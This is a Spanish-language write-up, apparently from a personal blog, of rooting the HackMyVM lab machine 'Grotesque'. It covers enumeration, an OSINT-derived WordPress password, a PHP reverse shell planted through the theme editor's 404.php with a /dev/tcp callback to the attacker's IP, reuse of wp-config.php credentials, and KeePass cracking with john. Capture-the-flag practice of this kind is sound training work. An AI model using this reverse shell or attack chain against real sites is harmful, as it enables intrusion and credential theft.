cd ~/blog

~/writeups/hmv/009-grotesque.md

009 - Grotesque

medium Linux hmv 15-08-2024
OSINT-derived WordPress passwordWordPress theme editor RCEwp-config.php credential reuseKeePass database cracking
hackmyvm.eu/machines/machine.php?vm=Grotesque

~1 min de lectura


Enumeración

Comenzamos con un escaneo general y específico de puertos con nmap:

 sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.34
 nmap -sCV -p 66,80 -oN 02-targeted.txt 192.168.1.34
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-15 18:05 -04
Nmap scan report for 192.168.1.34
Host is up (0.00036s latency).

PORT   STATE SERVICE VERSION
66/tcp open  http    WEBrick httpd 1.4.2 (Ruby 2.5.5 (2019-03-15))
|_http-server-header: WEBrick/1.4.2 (Ruby/2.5.5/2019-03-15)
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
80/tcp open  http    Apache httpd 2.4.38
|_http-title: Site doesn't have a title (text/html; charset=iso-8859-1).
|_http-server-header: Apache/2.4.38 (Debian)
Service Info: Host: 127.0.1.1

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.20 seconds

Descubrimiento del WordPress

Entramos al sitio del puerto 66 y nos encontramos con un enlace a un .zip:

you can download this project from here: http://192.168.1.34:66/vvmlist.zip

El archivo contiene los .md de los posts del sitio. Los concatenamos, ordenamos y filtramos duplicados, encontrando la ruta del WordPress:

 cat _vvmlist/* | sort | uniq
...
for wordpress, it's on port 80/lyricsblog:
...

OSINT: la contraseña oculta

Entramos a http://192.168.1.34/lyricsblog/ y en el código fuente hay un comentario apuntando a una imagen:

<!-- /lyricsblog/yesman.png -->

En la imagen aparece el mensaje:

YES, I ENJOY HAKAN TAŞIYAN, HOW COULD YOU TELL?

La pista lleva a la canción Hakan Taşıyan – Doktor. Descargamos su letra y calculamos su MD5, que será la base de la contraseña:

 md5sum md5.txt
bc78c6ab38e114d6135409e44f7cdda2  md5.txt

Escaneamos el WordPress con wpscan para enumerar usuarios:

 wpscan --url http://192.168.1.34/lyricsblog/ -e ap,cb,dbe,u1-999 --plugins-detection aggressive --plugins-version-detection aggressive
...
[i] User(s) Identified:

[+] erdalkomurcu
...

Enumeramos también con gobuster para confirmar las rutas de WordPress:

 gobuster dir -u 'http://192.168.1.34/lyricsblog/' -w ~/Documents/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,jpeg,png,gif,zip -r
...
/wp-content           (Status: 200) [Size: 0]
/index.php            (Status: 200) [Size: 26126]
/wp-login.php         (Status: 200) [Size: 7014]
/license.txt          (Status: 200) [Size: 19915]
/readme.html          (Status: 200) [Size: 7278]
/wp-trackback.php     (Status: 200) [Size: 135]
/wp-admin             (Status: 200) [Size: 7014]
/xmlrpc.php           (Status: 405) [Size: 42]
/wp-signup.php        (Status: 200) [Size: 7156]
...

Al ingresar a /wp-login.php encontramos otra pista sobre el formato de la contraseña:

 password
 should
 be
 uppercase

Así que pasamos el MD5 a mayúsculas:

 echo "bc78c6ab38e114d6135409e44f7cdda2" | tr '[:lower:]' '[:upper:]'
BC78C6AB38E114D6135409E44F7CDDA2

RCE vía editor de temas

Iniciamos sesión en /wp-admin con las credenciales:

erdalkomurcu:BC78C6AB38E114D6135409E44F7CDDA2

Una vez dentro, entramos al editor de temas y agregamos una reverse shell en el archivo 404.php:

 cat reverse.php
 <?php
     shell_exec("bash -c 'bash -i >& /dev/tcp/192.168.1.5/1234 0>&1'");
 ?>

Dejamos ncat a la escucha y accedemos a cualquier página inexistente para forzar el 404.php:

 ncat -nlvp 1234
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 192.168.1.34:44276.
bash: cannot set terminal process group (561): Inappropriate ioctl for device
bash: no job control in this shell
www-data@grotesque:/var/www/html/lyricsblog$

Pivote a raphael (wp-config.php)

Para escalar, leemos el wp-config.php del WordPress, que contiene las credenciales de la base de datos:

www-data@grotesque:/var/www/html/lyricsblog$ cat wp-config.php
...
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress_db' );

/** MySQL database username */
define( 'DB_USER', 'raphael' );

/** MySQL database password */
define( 'DB_PASSWORD', '_double_trouble_' );
...

Reutilizamos esas credenciales para saltar al usuario raphael:

www-data@grotesque:/var/www/html/lyricsblog$ su raphael
Password: _double_trouble_
raphael@grotesque:/var/www/html/lyricsblog$

Obtenemos shell como raphael y la primera flag.

Escalada a root (KeePass)

Listamos su directorio home y encontramos una base de datos KeePass oculta:

raphael@grotesque:~$ ls -la
drwxr-xr-x  4 raphael raphael 4096 Aug 15 17:00 .
drwxr-xr-x  3 root    root    4096 Jan 18  2021 ..
-rwx------  1 raphael raphael 2174 Jan 18  2021 .chadroot.kdbx
drwx------  3 raphael raphael 4096 Aug 15 17:00 .gnupg
-r-x------  1 raphael raphael   32 Jan 18  2021 user.txt
drwxr-xr-x 10 raphael raphael 4096 Jan 18  2021 vvmlist.github.io

Enviamos el .chadroot.kdbx a nuestra máquina y crackeamos su contraseña maestra con john:

 keepass2john chadroot.kdbx > hash
 john -w=/home/wh01s17/Documents/wordlists/rockyou.txt hash
...
chatter          (chadroot)
...

Abrimos la base de datos con keeweb y obtenemos varias contraseñas candidatas para root:

user: root
passwords:
.:.yarak.:.
secretservice
.:.subjective.:.
rockyou.txt

Probándolas, la válida es .:.subjective.:.:

raphael@grotesque:~$ su root
Password: .:.subjective.:.

root@grotesque:/home/raphael#

Obtenemos la segunda flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados